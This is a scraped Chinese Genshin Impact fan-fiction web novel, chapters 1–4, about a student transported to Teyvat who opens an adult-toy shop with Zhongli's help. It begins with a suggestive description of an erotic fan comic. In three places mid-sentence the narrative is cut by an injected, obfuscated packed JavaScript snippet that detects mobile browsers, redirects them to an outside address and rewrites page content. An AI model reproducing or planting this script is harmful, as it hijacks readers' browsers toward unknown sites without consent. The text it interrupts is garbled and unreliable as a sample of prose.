《[原神]我在提瓦特开玩具店》 1. 第 1 章 “嘶，好涩噢——” 摩拉克斯眼眸微阖，双唇无力地含着湿漉漉的口塞。 素日里矜贵自持的脸庞，此时布满了情欲的潮红，随着身体的剧烈颤动，耳根处无意识地浮现出几片暗金色的龙鳞。 一只大手捏起他的下颌，指尖摩挲着敏感的鳞片，察觉到对方陡然的绷紧，没有高光的眼神里透出了晦暗的兴奋。 [先生，契约既成，准备好接受食岩之罚了吗？] ——画面戛然而止。 “呜呜，太太你好短！” 某大学宿舍，青棠正躲在被窝里看不可描述的漫画，手机屏幕的光映得她小脸通黄，不争气的眼泪从嘴角流了下来。 国宴！这简直就是国宴啊！ 这位老师的笔触之细腻、用色之大胆、姿势之黄暴……可以说每个分镜都在痛击她的XP！ 青棠咽了咽口水，戳开评论区，怀着激动的心情敲出：[太太，饭饭，饿饿——] “棠棠，辅导员来查寝了！” “砰！”手机砸到脸上，青棠嘴角的姨母笑瞬间变成了惊恐脸。 “快拦住她！我床上的零食还没收！”她挥开手机，猛地翻身一滚，后背却没有像平时那样撞上防护栏，身体冷不丁一空，随之而来的是一阵天旋地转的失重感。 遭了，她怎么忘了，防护栏前几天就松动了，晚上吱呀吱呀响个不停，昨天恰好被她拆下来了！ 伴随着舍友的惊呼，青棠的脑袋着了地。晕过去之前，她的脑海里倏然闪过两个念头。 第一，她肯定是建校以来第一个在宿舍里摔死的笨蛋吧？ 第二，她死了，但她的手机浏览记录还没有清空啊！ …… 滴滴滴滴—— 冰冷的机械音在虚空中规律地响着，眼皮似乎感应到了微弱的光芒，青棠缓缓睁开眼，一眼便看见了面前巨大的屏幕。 她动了动僵硬的脖子，环顾四周，发现自己正处在一个陌生的空间里，目光所及一片漆黑，只有眼前的显示屏散发着幽蓝的荧光。 她尝试着伸出手，触碰那块屏幕，机械音霎时停顿，紧接着发出了一声拖长的“滴”。 散漫的蓝色光点宛如追逐食物的游鱼，聚拢到她的指尖，组成了一行小字：你醒啦。 青棠目瞪口呆，再次扫视四周，确定了这里只有自己一个人，于是脱口道：“你是谁？” 光点离散，又聚合。 [你好，这里是米忽悠游戏公司，我是主控系统。] 青棠心中警铃大作：“你们想干什么？” 一个笑脸浮现在屏幕上。 [近期公司资金周转遇到困难，高层决定开启“志愿者计划”，特地聘请您这样的志愿者前往游戏世界收集财富，再输送给服务器。] 青棠一脑门问号：“谁说我是自愿的？我要回家！” 系统：但你已经死了。 系统：而且自愿本来就是强制的，比如高中生自愿补课，社会人士自愿加班…… “斯到普斯到普！”青棠捂住耳朵，“既然我已经死了，就让我安息吧，不要再攻击我的精神了！” 系统：但只要你配合计划，我们有办法让你恢复意识。 青棠不为所动。 系统：还可以给你提供游戏大厂实习证明，甚至直邀Offer。 青棠的右手悄悄抬了起来。 系统：任务开始之后，我会删除你手机里的浏览记录，包括某P开头字母站、某粉色软件…… “成交！”青棠猛地拍了下大腿，生怕系统反悔，连忙问道，“但我具体要做什么？” 系统：根据你的游戏记录，我会把你传送到提瓦特大陆，你需要积攒到足够的财富——也就是成为世界首富，就算是完成任务。 “开什么玩笑？！”青棠的音量瞬间拔高了八个度。 她可是穷三代的美术生，被人挖白色颜料都要心疼三天，某画师软件开三位数价格的橱窗都要被人发到Bot挂没逼数的小画家。 指望她去赚钱，和指望三神掏出摩拉来有什么区别？！ 系统：你的浏览记录还有某棠、某三、某发电…… “够了够了！”青棠的表情彻底裂开了，她不过是一个到处找粮吃的同人女罢了，又有什么错呢？何至于被这样公开处刑。 默默崩溃了一会儿，她终于认清了现实，有气无力地说道：“要我去做任务也可以，但你们总得给我提供点帮助吧？” 不然以她这堪比雷电将军的赚钱能力，猴年马月才能攒够米忽悠公司需要的钱？ 系统：有的，有的姐妹。 看到这话，青棠来了精神：“神之眼？元素力？或者集齐卡牌召唤远古魔神的金手指？” 系统：30W摩拉启动资金。 “三十万？！”青棠蹭地站了起来，怒指屏幕，“三十万摩拉够干什么？强化一个圣遗物都不够！” 系统：……严格来说，一个五星圣遗物从0级提升到20级，只需要270475摩拉。 青棠气笑了，双手环抱在胸前，思维逐渐雷电将军化：“那我暗杀财富之神摩拉克斯如何呢？所谓摩拉，就是他的血肉吧？” 阿这。系统陷入了一些沉默，蓝色光点开始做无规则的布朗运动，似乎有些宕机。 半晌，它憋出一句：那就祝你好运了，志愿者。 下一秒，大屏幕倏地变亮，炫目的蓝光笼罩住整个空间，青棠被刺激得闭上了眼睛。 在她看不见的时候，周围的黑暗如同潮水般退去，无数色彩碎片拼接重组，画面逐渐鲜活起来，随后闹市的喧嚷灌进了耳朵。 “来喽，香嫩椒椒鸡——” 青棠被响亮的吆喝声唤醒，睁开眼先是看到了一头蓝色的短发，然后是一双生有枪茧的手，正将一盘色泽鲜亮的菜肴推到她面前。 椒麻鲜香的味道扑面而来，青棠愣住了：“香菱？” “怎么了？”小厨娘奇怪道，“饭菜不合口味吗？” 正在灶台前烧火的锅巴停下动作，圆滚滚的脑袋转过来，黑白相间的熊眼发出死亡凝视。 “没、没有。”青棠连忙收回视线，万万不敢当着灶神的面浪费粮食。而且这椒椒鸡色香俱佳，闻起来就让人食指大动。 只是没想到，系统那个狗东西真的一言不合就把她扔来了提瓦特，她现在还有点晕。 听到她这样说，锅巴的眼睛弯成了白色的月牙，满意地挤出一声“噜噜”，转过头继续烧火。 香菱也端来香喷喷的米饭，笑道：“那就用餐愉快啦！” 香菱总是毫不掩饰自己对食物最真诚的热爱，青棠被她的笑容带动，一时间竟也觉得饿了。 事已至此，先干饭吧！ 青棠夹起一块鸡肉放入口中，浓郁的汁水瞬间淌过舌尖，鸡肉滑嫩肥腻，牙齿轻轻一咬，辣味就在口腔中爆裂开来。 那辣椒不似寻常的辣椒，而是璃月特产的绝云椒椒，烧灼的感觉霸道地冲刷着味蕾，爽口又开胃，让人忍不住再夹一块。 连续吃了三块椒椒鸡，青棠泪流满面，心中甚至生出了留在万民堂帮厨的念头，就是不知道内部人员有没有免费的员工餐。 想到这里，青棠夹菜的手倏然一顿，美味的食物居然让她忘记了，这每一口都是要花钱的！ 她在身上摸了摸，掏出一个鼓囊囊的钱袋，又打开袋子数了数——果然是三十万摩拉，不多不少。 想当年她以旅行者的身份在游戏里大杀四方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438479|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候，背包里的摩拉从来没低于过三千万，三十万不过是派蒙一个月的伙食费。 现在她却要拿这点钱白手起家，这标价1925摩拉的香嫩椒椒鸡瞬间失去了滋味。 念及此处，青棠的内心比至冬国的雪夜还要冷。 就在她扣扣搜搜算饭钱的时候，一道低沉的声音突然在身后响起：“若是不擅长食用辣椒，可佐以沉玉茶露，方可化解辛味，只保留椒椒鸡的鲜香。” 青棠循声望去，就见到一个身穿玄色长袍的男人坐在邻桌。 对方面容俊美如玉雕，眼尾一抹朱砂红，说话的语气分明很温和，鎏金瞳孔望过来时却有种不怒自威的气势，让人联想到一个词——龙章凤姿。 青棠一惊，终于明白了系统为什么把她丢到万民堂——这不就是她口出狂言要暗杀的财神爷吗？ 哈哈，难不成她还敢给摩拉克斯下毒？对方不仅是财神，还是一手建立璃月港、一枪砸出一个孤云阁的岩王帝君呢！ 就算这人现在退休了，那也不能上赶着作死啊！ 青棠眨巴着眼睛，乖巧道：“钟离先生。” “嗯？”钟离摸了摸下巴，面露疑惑，“这位小友，我们认识吗？” 当然认识了，自从强氪大保底抽到您，您就没离开过我的队伍，您的护盾就是我的轮椅啊！ 青棠默默吐槽了一下，面上还是装模作样地说道：“我叫青棠，家父是云堇先生的戏迷，时常提起您对于戏曲之道颇有研究。” 似乎是触发了系统的世界线自动修正，青棠胡诌了一个爱听戏的父亲，对面尘世闲游的老干部也没怀疑，反倒像是真有这么一个票友：“原来如此。” 钟离接上最开始的话题：“方才我见小友面露愁容，可是这道香嫩椒椒鸡过于辛辣的缘故？若是不嫌弃，可以试试这壶沉玉茶露。” 虽然青棠不是因为椒椒鸡才发愁，但听到这话却莫名感动。 这就是璃月人的老父亲啊，系统只关心她赚不赚钱，只有帝君关心她吃得辣不辣。 这样一共情，她对钟离的亲近感便又多了几分，于是毫不犹豫地挪过去跟他拼桌了。 沉玉茶露茶汤清透，色泽宛如沉玉谷清晨的薄雾。 青棠端起茶盏喝了一口，舌尖先触到一丝清冽的甘甜，继而化作绵长的回韵，萦绕齿间。 “好茶！”她赞叹道。 钟离点头：“此茶的确是去油解腻的上佳之品。” 说完，钟离又介绍了几道口感酥爽的菜，有这么懂吃懂喝的人在身边，这顿饭吃得十分舒心。 吃完饭，香菱过来结账。 钟离拿出一只钱袋，伸手进去摸了摸，然后微微一顿。 青棠看着他脸上闪过的无奈之色，立刻反应过来——好嘛，这位老大爷出门又没带钱！ 她赶紧出面解围：“钟离先生，这顿饭我请你吧。” 钟离：“那就有劳小友了。” 然而青棠话说得豪爽，付钱时心还是在滴血——即使万民堂的菜品主打价格亲民，但这顿饭还是花了她八千摩拉。 算了，谁让她经常看帝君的小黄漫呢，就当是付肖像费了。 就在她怀念她的粮仓的时候，走在旁边的钟离突然问道：“小友可是囊中羞涩？” 不得不说，帝君虽然自己没钱，但对钱还真是敏锐啊。 青棠猛猛点头：“我想做生意，又不知道该怎么做。” “这样。”钟离沉吟道，“做生意第一要考虑的是商品，第二要考虑的是商铺。绯云坡有一家铺子正在转租，租金低廉，小友若是现下无事，可随我去瞧瞧。” “真的吗？那太好了！”青棠眼神一亮，心想帝君你屁股真翘…… 啊不是，帝君你人真好！ 2. 第 2 章 璃月港是全提瓦特最大的集贸港口，号称千船万商云集之地。 绯云坡则是城内的商贸中心，沿街的商铺名头一个比一个响亮，是不折不扣的黄金地段。 青棠深深地吸了一口气，只觉得空气中都浮动着摩拉的味道，仿佛来到了异世界的华尔街。 她看着走在前面的钟离，暗暗揣测他会推荐哪里呢？ 飞云商会旁边最好，那是整个绯云坡的C位，一旦商界有什么新动向，她第一时间就能知道。 新月轩和琉璃亭附近也是好位置，进出这两家饭店的都是璃月的达官显贵，随便透露几条情报就能让她大赚一笔了。 万文集舍周边也不错，那里人流量最大，而且聚集了三教九流，她可以做下沉市场。 青棠在心中畅想一番美好的未来，越想越觉得绯云坡处处是商机，日入百万摩拉指日可待，嘴角忍不住露出了一个笑容。 就在这时，钟离拐了个弯，领着她走进一条小路，然后停在某间关着门的店铺面前，示意她看门上的告示：“就是这里了。” 萧瑟的风卷起泛黄的转租广告，青棠的笑容瞬间僵在嘴角。 就是说，偌大一个绯云坡，帝君竟然能找出一家如此冷清的店铺，怎么不算一种本事呢？ 青棠干笑道：“这、这地方是不是太偏僻了？” “有吗？”钟离仍是不紧不慢的语速，“依我看，此处恰好位于绯云坡与吃虎岩之间，闹市取静，倒是个绝妙之处。” “可为什么旁边是往生堂？！”青棠扭过头望向往生堂门口的公告，“买一送一”四个大字简直看得人心惊胆战—— 谁家好人买俩棺材啊？！ “诶，这位姑娘此言差矣。” 钟离还没开口，就听见嘎吱一声，紧闭的店门被人推开，一个贼眉鼠眼的中年男人走了出来。 来人的腔调显得油头滑脑：“往生堂可是掌管着全璃月所有的丧葬典仪，谁敢轻视呢？” 滴溜溜的黑眼珠瞥见钟离，又露出个讨好的笑容：“况且往生堂还有钟离先生这样学识渊博的客卿坐镇，寻常人更是不敢冒犯了，我这正是生金旺铺啊！” “说得好听。”青棠默默翻了个白眼，“那你怎么倒闭了？” “呃……这个嘛。”男人话音一顿，觑着钟离的脸色，生硬地转移话题，“还没请教姑娘名讳？” “这位是青棠青老板。”钟离不冷不热地说道，“这位是贾老板。” “幸会幸会。”见青棠仍盯着转租广告，贾老板立刻看出她的来意，热情地邀请两人进店参观。 “青老板年少有为，我老贾最是欣赏了。”他绝口不提惨淡的生意，先是拍了一通马屁，又一味地推销道，“这样吧，这家店的年租我只收您20W摩拉，如何？” 这店铺内部看起来比它萧条的外表好多了，房屋格局周正，地板和柜台很干净，墙壁粉刷得光洁如新，通风和采光都非常好。 就是这个位置太偏了，除非是专门到往生堂办丧事的，否则一般人根本不会往这条路上走。 青棠正犹豫着，余光忽然瞥见钟离饶有兴味的眼神，好像很想让她租下来似的。 嗯？怪哉，难道这间店铺真有什么奇妙之处？ 青棠有些茫然，但出于对帝君的信任，她觉得租这里也不是不行，人家做生意都要拜财神爷，而她直接住在财神爷旁边。 说不定哪天老爷子一高兴，就给她变出一屋子摩拉来…… 做好决定，青棠清咳一声，扬起眉梢，嫌弃地说道：“你瞧瞧这地方，吃虎岩的地段，绯云坡的价格，这合理吗？” “那……”贾老板笑容一僵，“15W，不能再低了。” 青棠叉腰，指着半敞的窗户：“坐西朝东，西晒严重。” 贾老板擦了擦额头的汗：“12W，真的不能再低了……” 青棠抬手敲了敲墙壁：“石灰板隔墙，不耐水还不隔音。” “轻钢水管道，用久了就锈……” 贾老板崩溃：“姑奶奶，10W、10W总可以了吧？！” “这还差不多。”青棠抬起下巴，终于对这个价格满意了，“那就请钟离先生做个见证了。” 签契约的时候，贾老板一脸牙疼的表情，显然没想到瞧着年纪轻轻的小姑娘，居然这么难缠。 他本来是盗宝团的人，当初租这间铺子就是看中了后堂有个隐蔽的仓库，恰好用来做走私生意。 哪能想到流年不利，每次收了货总是遇到千岩军来巡查，搞得他都怀疑自己身边出了内鬼。 贾老板叫苦不迭，可是查遍了这条线上的人，也没找出内鬼是谁，想来想去只能怪这家铺子风水不好了，所以才急于脱手。 即使砍价被砍到了大动脉，他也敢怒不敢言，拿了钱就灰溜溜地跑了，生怕千岩军再找上门。 送走贾老板，一个通风报信的热心市民钟离先生赞叹道：“小友的砍价功夫，我自愧不如。” 青棠欲言又止，心想您老人家买东西什么时候关心过价格？ 不过好歹是以极低的租金拿下了这家店，不仅商铺有了着落，今晚也不需要住客栈了。 青棠绕着空荡的房间走了一圈，心中大体有了规划，嘴里念叨着：“以后就在这里做一个隔断，后面做起居室，前面开店。” “那倒是不必。”钟离摇了摇头，领着她走到最里侧的角落，然后抬手在墙壁某处按了一下。 吱呀—— 簌簌灰尘从天花板抖落下来，原本平坦的墙壁往后滑了一些距离，紧接着移动到一边，露出后面宽敞开阔的空间。 ——这里竟然还有个屋子！ 青棠震惊了，绕着这房子走了一圈，发现不仅光线充足，而且二楼还有两个带露台的房间，正适合做卧室和画室。 她这是用扑街店铺的钱，租到了一间大公寓啊！ “天呐，钟离先生！” 青棠感动得眼泪汪汪的，终于理解了为什么璃月人均帝君厨，因为帝君真的永远不会让你亏啊！ …… 解决了商铺和住宿的问题，接下来的当务之急就是买家具了。 青棠再次求助钟离，对方略微沉吟道：“正巧今天是希古居上新的日子，小友可随我去逛逛。” “那敢情好啊。”青棠应道，希古居是璃月的老牌古董店，即使不买东西，长长见识也是好的。 她用新到手的钥匙锁好店门，继续跟着钟离尘世闲游。 午后阳光明媚，绯云坡也热闹了起来，南来北往的商人们在这座契约之都浪里淘金，每个人脸上都挂着黄金般的笑意。 青棠边走边观察周围的店铺，见到惊艳的店名和装修就记在脑海里，这样一圈走下来，大致也了解了璃月的产业链。 可以说，上至钢铁矿石，下至日消零嘴，每个行业都有龙头商铺把持市场了，想找出一个新鲜的赛道还真是不容易。 就在青棠思考选品的时候，眼角忽然捕捉到一抹异样的红黑色，一道人影在街角一闪而过，似乎是朝他们这边撇了一眼，然后迅速缩了回去，隐没在茫茫人海中。 那人动作太快，青棠只来得及看清他脸上戴着的面具，心头倏地一跳：“愚人众？” 她扭过头去看钟离，看到对方眼中尚未收敛的威压，顿时反应过来帝君也发现了那人的踪迹，或者说那人就是被帝君吓走的。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438480|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟离似乎并没有要追究的意思，很快缓和了神色：“无妨，不过是一只传话的黄眉鸟。” 啊？？？ 青棠一脸懵逼，传谁的话？什么话？你俩脑电波交流的？ 但钟离显然不愿意深入讨论这个话题，他一步踏上台阶，温声道：“小友这边请。” 青棠停下脚步，抬头望向招牌，这才发现希古居到了。 门口的伙计立刻迎上前来，摆出职业化的微笑：“钟离先生，就知道您会来，老板在等您呢！” 说完，他就在前面领路，引着两位客人往会客室走。 一踏进希古居，青棠就闻到了一股清雅的香气。再一看店内陈设，心情便不自觉地宁静了下来。 一侧的雕花货架精致典雅，摆放着各色各样的古董文玩，每一个货架都装上了独立光源，而每一束光线又恰到好处地映射在古董器皿最精妙的花纹上。 即使是一只平平无奇的白瓷碗，被精心调试的灯光一照，也显出了一种玲珑剔透的雅致。 另一侧则是做了造景，一条小溪环过假山潺潺而下，透水蓝的夜泊石就浸在溪水里，被清浅的水流洗得发亮，一看就知道并非凡品。 怪不得希古居生意好呢，连细节处的装饰都如此用心，让人一进门就感受到了舒缓的氛围。 青棠暗自记下这个小技巧——利用灯光和布景营造气氛，同时放大商品的优点。 到了会客室，店主琳琅果然已经准备好茶水了，她取出今天新到的货，笑道：“这批货可都是稀罕玩意，先请钟离先生过过眼。” 钟离先饮了一口茶水，然后捏起丝绒垫上的石珀，评价道：“这块石珀金黄如蜜，触手生温，最难得的是内里竟完整地封存了一只红蛛，实属难得。” 说完，连石头带盒子都被他挪到了右手边，一看就是要买的意思，琳琅连忙给他装起来。 “这块绯红玉髓虽然成色略暗，但出自龙脊雪山的山巅矿洞，人工开采极其困难，市面上流通的货不多，倒是有收藏价值。” “还是钟离先生慧眼识珠。”琳琅弯起眉眼，熟练地包起绯红玉髓，“您再看看这个。” “这支翡翠鎏金簪……” 又开始了，钟离先生的All in Time。青棠看着钟离眼也不眨地往手边放珠宝，琳琅老板的笑容越发灿烂，不停地点头附和。 她忍不住感慨，帝君的本体不愧是龙族，对宝石这种闪闪发光的东西真的很没有抵抗力。 想到这里，她又想起了那本没有完结的小黄漫。 作者也是很懂行情，不仅画了公钟龙身Play，还有各种各样流光璀璨的宝石镶嵌在小玩具上，然后挂在帝君劲瘦有力的腰肢…… ——等等！ 青棠堆满黄色废料的脑子里，忽然闪过一道灵光。 对啊，她可以卖情趣玩具啊！ 绝对的蓝海市场，整个提瓦特没有竞争对手，甚至专业对口。 连偏僻的店铺地址都恰到好处，还不需要太多的空间囤货，将后堂改造成仓库就绰绰有余。 ——如此完美的赛道！ 最困难的问题迎刃而解，青棠眼中燃起了希望的光，仿佛看到了分店开遍七国的景象。 这时，钟离也挑好了货品，悠悠道：“这些东西都送到往生堂。账单还是老样子，就寄到北……不，也寄到往生堂吧。” 琳琅露出诧异的表情，但她没有多问，只说了声“好”。 青棠瞪大了眼睛，一瞬间怀疑自己是不是听错了。 可下一秒，CP雷达发出呜呜的警报，同人女的基因压不住了。 “钟离先生，你刚才是想说北国银行的，对吧？！” 3. 第 3 章 “确有此事。”钟离敛着眉眼，淡淡道，“有什么问题吗？” 青棠的眼神散发出嗑糖的渴望，绞尽脑汁地思考怎样措辞才能显得漫不经心，好把话题引到那位愚人众执行官公子达达利亚的身上。 见她在雷区边缘跃跃欲试，一旁的琳琅老板有些汗流浃背了：“这位小姐有心仪的商品吗？” 思绪倏然被打断，青棠这才想起来自己是来买家具的。 她望向琳琅，见对方拼命给她使眼色，忽然意识到达达利亚可能是个禁忌话题，于是艰难地把话咽了下去，干笑道：“我想买床。” “好说。”琳琅松了口气，“现货家具都在仓库呢，两位随我来。” 希古居家大业大，仓库占地面积也大，并不在寸土寸金的绯云坡，而是建在天衡山附近，穿过莲花池后，还要往山上走一段路。 琳琅走在前面，青棠和钟离落后几步，中间隔着不小的距离。 一路上，青棠抓心挠肝，总是忍不住用眼尾去瞄钟离。 愚人众情报官鬼鬼祟祟的跟踪、钟离熟练的寄账单、琳琅讳莫如深的态度，这要是放在某福特，她能品出三万字同人文。 怎么呢达达利亚？做了什么十恶不赦的事，居然变成了璃月港的伏地魔，连名字都不能提了？ 当初偷先祖法蜕都没被帝君打死，难道这次你偷了活的先祖？ 行至半途，钟离突然停步：“为何小友看我的眼神如此……嗯、炽热？可是有话要说？” 青棠欲言又止，心里盘算着如果帝君的天动万象砸下来，先迈哪只脚开溜比较有可能活。 生存和死亡的难题面前，好奇心终于还是占了上风。 她小心翼翼地问道：“刚刚钟离先生想把账单送到北国银行，是和那位公子大人有什么契约吗？” 钟离一怔：“契约……倒是没有，不过有几分交情罢了。” “什么交情？”青棠眼神发亮，心里的逗猫棒都快晃出了残影。 钟离沉默一会儿，说：“得闲时共饮几盏茶的交情吧。” “这样啊。”意料之中的回答。 青棠只失望了一瞬，很快就释怀了，知道自己磕的CP实际上是关系很好的朋友，这也不错啦。 但钟离仿佛陷入了回忆之中，半晌微不可察地叹了口气。 因为这个小插曲，两人到山腰的时候，琳琅已经等候多时了。 两个保镖模样的大汉守在门口，琳琅掏出钥匙，插进锁孔。 大门被推开的一瞬间，青棠发出了一声惊讶的“哇”。 调子拖得太长，两个保镖纷纷望了过来，眼神仿佛在说：“嗨嗨嗨，需要借你墨镜么？” 一捧捧宝石堆满了货架，骤然得见天日，折射出颜色各异的光芒，就像是这扇门后藏了条银河，闪耀到令人目眩神迷。 “琳琅老板，你也太有实力了吧？”青棠都不知道眼睛该往哪里看了，“你是真的家里有矿啊！” “过奖了。”琳琅笑了一下，谦虚道，“这些和凝光大人的群玉阁比起来，不过是九牛一毛。” 青棠再次对璃月掌权人的经济实力有了新的认识，心想如果以后有机会得到凝光的支持就好了。 最里面是家具区，仅仅是床这一项，各种样式和各种材质也是琳琅满目，直叫人挑花眼。 三人逛了一圈，钟离推荐了一张却砂木的床，纹理细腻，硬度适中，耐磨又耐腐。 “是呢，价格也不贵。”琳琅笑道，同时伸出了两根手指。 青棠感激地看了一眼钟离，觉得帝君真是太体贴了，知道她没钱都会考虑性价比了，还以为他上来就要推荐最贵的呢。 她豪爽挥手：“那就两万……” 琳琅微笑道：“二十万摩拉。” 青棠：“……” 不是，我们讨论的是同一种货币吗？一张床顶两年的房租，这叫“价格也不贵”？！ 青棠绷着脸退后两步：“我突然觉得睡地板也挺好。” “不可。”钟离摇头道，“地板吸附潮气，于身体有损。小友乔迁新居，不久后又要开业，这张床就算是往生堂提前送的贺礼了。” 青棠冷静地跟他对视，你说这话，往生堂真正的主人知道吗？ 钟离神情自若说了下去：“胡堂主天性热情好客，若是知道了，一定也会同意的。” “这……”青棠犹豫了一瞬，但钟离说得诚恳，胡桃也确实是热心的人，拒绝的话倒显得却之不恭了。 琳琅也附和道：“钟离先生一贯出手阔绰呢。”显然不是第一次见到这样的场景了。 话说到这份上，再看着钟离一脸“老父亲怕你冷”的表情，青棠心头一暖，也不再推辞了，弯眉道：“那就多谢钟离先生了。” 先前的珠宝加上这张床，希古居做成了一笔大生意，琳琅老板笑意盈盈，表示这就安排人手送货。 一个下午收获颇丰，青棠又去买了些画材，傍晚时她主动提出：“钟离先生，我请你吃饭吧。” 中午吃的是万民堂，晚上听说香菱不当班，两人便去了新月轩。 落座后，青棠摆弄了两下新买的画笔和颜料，幸亏这些东西不贵，不然今晚的菜只能吃土了。 钟离余光瞥见，便问道：“看来小友是想好新店的经营范围了？” “是啊。”青棠点头，斟酌地说了下她想开情趣玩具店的想法。 钟离许久没有说话。 青棠有些忐忑，虽然情趣玩具店在现代社会随处可见，但这里毕竟是12+的游戏世界。 况且老爷子都六千多岁了，能接受这么……新奇的玩意吗？ 好在空气并没有安静太久，很快钟离就颇为赞许地说道：“古语有云：青棠，一名合欢，合欢则忘忿。青棠花象征着对美好感情的期许，与你的想法很是般配。” 寥寥数语，既没有斥责她离经叛道，也没有嘲讽她异想天开。 青棠再次被感动了一把：“您不觉得我的想法很叛逆吗？” “何以见得？”钟离沏了盏茶，“若说叛逆的话，任何别出心裁的发明都是从叛逆开始的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438481|169314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我有一位友人，便很热衷于此道。” 瞧瞧，这就是财神的格局！ 得到帝君的支持，青棠有底气多了，笑眯眯地说道：“那我有机会一定要见见您那位朋友！” 想来就是很会聊天的留云借风真君吧，她现在也化名为闲云，居住在璃月港呢。 “我想她也会很欣赏你的奇思妙想吧。”钟离饮了口茶，“到时我给她捎个口信，让她来店里详叙……小友可曾想好店名？” 青棠沉吟片刻，既然这家店开在往生堂旁边，那么最好也取个直白又不失风雅的名字。 她想到了钟离的话，“青棠”本就是合欢花的别称，的确跟这家店铺十分相称，于是她拍板道：“就叫合欢馆吧！” …… 选定了商品，之后几天的工作就有了方向。 青棠又买了些小家具，把公寓二楼的房间打造成了卧室和浴室，一楼则挂上窗帘改成了画室，以后还可以当做小仓库。 她准备亲自设计店铺的招牌，一来为了省钱，二来也想实践下在绯云坡逛街时学到的知识。 青棠将新摘的霓裳花铺在白瓷碟里，用木杵缓缓研磨，直到底部渗出胭脂色的汁液，再加入几滴山泉水调开，就变成了薄雾般的粉。 娇媚而不低俗，甜蜜而不下流，非常符合她对合欢馆的期望了。 笔尖蘸起调好的薄雾粉颜料，缓缓在纸上铺开，很快就勾勒出了一只小兔子的轮廓。 再添上三个轻松可爱的字体[合欢馆]，这招牌就设计好了。 青棠满意地看着自己的作品，取下画纸放到旁边，等晾干了就可以去找木匠铺打样了。 接下来就是商品的设计了，这个就比较麻烦了。 现代世界的小玩具，绝大多数都是电力驱动的，结构太复杂，制作成本也太高，暂时还做不了。 现在有条件做出来的，无非就是那些基础款玩具和情趣睡衣。 青棠在纸上画了几种最简单的杯杯、棒棒、套套、塞塞，然后就把设计重点放在了情趣睡衣上。 这实在是个发挥空间很大的项目，羽毛、胶皮、蕾丝……许多种材料都能用来做衣服，材质不同，给人的感觉也不相同。 除此之外，露与不露又是一门学问，一味的赤裸和暴露毫无美感，犹抱琵琶半遮面才是最勾人的。 涉及人体美学设计，灵感便像潮水般滔滔不绝，青棠全神贯注地握着笔，涂涂画画了一整天，草稿纸在地上堆成了一座小山。 就在她画得入迷的时候，门口突然传来一阵敲门声。 “砰砰砰——” “有人在家吗？” 青棠如梦方醒，连忙放下画笔，边往前店走边问：“谁啊？” 大门被打开，落日的余晖漏进门扉，门外站着三个手握长枪的陌生男人，姿态挺拔，神情严肃。 为首的那人双手扶枪，跺了跺脚，行了个标准的军礼，然后铿锵有力地说道：“千岩军依律查封非法商铺，请您配合。” 青棠：“…………？！！” 4. 第 4 章 依律？依什么律？最权威的法律不就在我隔壁吗？？？ 青棠两眼一黑，内心掀起了惊涛骇浪，一瞬间想起了一些充满马赛克的扫黄打非纪录片。 要冷静，不能自乱阵脚—— 她深呼吸了一下，迅速稳住表情，双手叉腰，扬起眉梢，大义凛然地说道：“你们找错人了吧？我这是正经店铺！” 不正经的东西我还没画呢！ 站在最前面的千岩军上前一步，青棠立刻往后退了三步。 逆光造成的阴影被抹去，青棠看到对方的胸牌上写着“弘毅”两个字，职务是小队长。 她抬起头，就见这位千岩军小队长正用审视的眼神打量着她，似乎在判断她是真的不知情还是在装傻充楞。 两人对峙片刻，弘毅终于收起了审犯人的目光，沉声道：“今天下午，我们在归离原逮捕了盗宝团的老板之一，路人贾。” “他对自己走私炸药的罪行供认不讳，根据总务司的记录，这里就是他在璃月港的据点。” 好家伙，敢在岩王帝君的眼皮子底下犯罪，这人也太勇了吧？！ 震惊之余，青棠又生出了果然如此的感慨。难怪租金砍骨折，那个贾老板都愿意租呢，原来是手脚不干净，着急套现跑路啊！ 可惜了，她还是太善了，早知如此就该来个零元购的。 青棠态度稍缓，表示自己也是刚接手这家店铺，贾老板干的那些事情，她是一概不知啊。 弘毅依旧是不苟言笑的表情：“如何证明？” 青棠找出房契递给他：“喏，白纸黑字，担保人是钟离先生。” 弘毅低下头，仔细查看契约的内容，似乎是觉得没什么问题，于是跟身后的两人低声交代了几句话，然后就把房契还给了她。 “好吧。”弘毅说，“我姑且相信你和路人贾没有关系。” 青棠松了一口气，以为这事就算是过去了，正想关门送客。 没想到弘毅突然话音一转：“但这家店依然是非法店铺——你有证件吗？” 青棠：“？” 她皱眉道：“什么证件？” 弘毅一板一眼地说：“当然是总务司签发的经营许可证，但凡是璃月港内的商铺，都要拿到证件才能经营，否则就要被查封……” “欸！”眼看着他掏出封条就要进屋，青棠连忙拦住他。 